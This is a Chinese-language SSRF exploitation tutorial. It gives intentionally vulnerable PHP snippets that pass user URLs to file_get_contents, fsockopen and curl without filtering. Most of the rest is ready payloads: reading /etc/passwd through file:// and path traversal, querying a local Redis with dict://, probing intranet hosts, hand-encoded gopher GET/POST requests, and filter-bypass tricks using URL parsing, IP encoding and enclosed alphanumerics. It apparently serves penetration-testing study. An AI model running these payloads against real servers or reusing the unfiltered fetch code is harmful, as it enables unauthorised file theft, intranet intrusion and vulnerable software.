SSRF:Server-Side Request Forgery,即服务器端请求伪造,就是让服务器替攻击者发请求。SSRF的目标往往是从外网无法访问的内部系统。
SSRF 形成原因:大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
存在SSRF漏洞的服务器可以作为我们攻击的跳板,直接攻击内网系统,因为内网普遍安全性较为薄弱,就极有可能导致内网沦陷。
SSRF可能出现在图片抓取,网页分享等服务器对外发起请求的地方。测试的时候注意目标站点的功能,注意带有URL以及文件名等可以参数的请求。经常出现SSRF漏洞的位置:
主要分为两个方向:
函数功能:是 PHP 中一个用于读取文件内容的函数
造成结果:文件读取
测试代码:
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>
可以在URL里面构造payload:
?url=../../../../../../etc/passwd
函数功能:可以用于与远程服务器建立 TCP/IP 连接,并进行网络通信。
造成结果:类似302重定向,没啥用
测试代码:
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET / HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>
payload:
?url=www.baidu.com
就会跳转到百度的页面:
函数功能:PHP 中用于执行 cURL 请求的函数。cURL(Client URL)是一个用于在 PHP 中进行网络通信的库,支持多种协议(如 HTTP、HTTPS、FTP 等)。
造成结果:执行URL请求
测试样例:
<?php
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init(); // 创建新的 cURL 资源
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
// $filename = './curled/'.rand().'.txt';
// file_put_contents($filename, $result);
echo $result;
}
?>
payload:
?url=www.baidu.com
请求百度网页
常用协议:file,gopher,http
payload:
http://ip/index.php?url=file:///etc/password
这里的 Payload 只是一个基础示范,还可以读取很多文件,在实战渗透当中,更多情况应该是通过 GET 请求攻击的。
获取服务器本机的redis信息
http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=dict://127.0.0.1:6379/info
探测内网主机存活,也可以结合一些只需要Get的payload进行攻击利用
paylaod:
?x=http://xxx.xxx.xxx.xxx
往往是GET请求方式进行利用,参数接收并发起请求,我们可以把这个地址换成内网的IP地址,对内网进行探针。
gopher 协议是一个在http 协议诞生前用来访问Internet 资源的协议可以理解为http 协议的前身或简化版,虽然很古老但现在很多库还支持gopher 协议而且gopher 协议功能很强大。
gopher发送GET请求
本地PHP接收:
<?php
echo $_GET['name'];
?>
把下面的GET型数据包发送
GET /testg.php?name=xxx HTTP/1.1
Host: 10.211.55.2
将上面的数据包直接在Burpsuite 中将数据进行编码
%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32
编码的时候在最后一定要补%0d%0a代表结束。
gopher://10.211.55.2:80/_%47%45%54%20%2f%74%65%73%74%67%2e%70%68%70%3f%6e%61%6d%65%3d%78%78%78%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a
gopher发送post请求
本地PHP接收:
<?php
echo $_POST['name'];
?>
我们用gopher协议传递POST请求时,必须要包含这四个,还有一个post传参。
POST /testg.php HTTP/1.1
Host: 10.211.55.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
name=xxx
把这一部分进行URL编码,后面加上%0d%0a
gopher://10.211.55.2:80/_%50%4f%53%54%20%2f%74%65%73%74%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%32%31%31%2e%35%35%2e%32%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%38%0d%0a%0d%0a%6e%61%6d%65%3d%78%78%78%0d%0a
可以参考这一篇,十分全面:
1. 利用URL解析问题:
https://www.baidu.com@google.com 与 https://google.com 效果是一样的
2. 短地址
3. IP地址进制转换
4. Enclosed alphanumerics 字符集绕过
利用Enclosed alphanumerics
ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com
List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴
⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
半盲处理思路:接收不到返回的内容,但是可以得到请求成功失败的信息。
全盲处理思路:采用DNS带外测试
SSRF在实际中遇到,主要利用点还是文件读取和内网探针利用居多。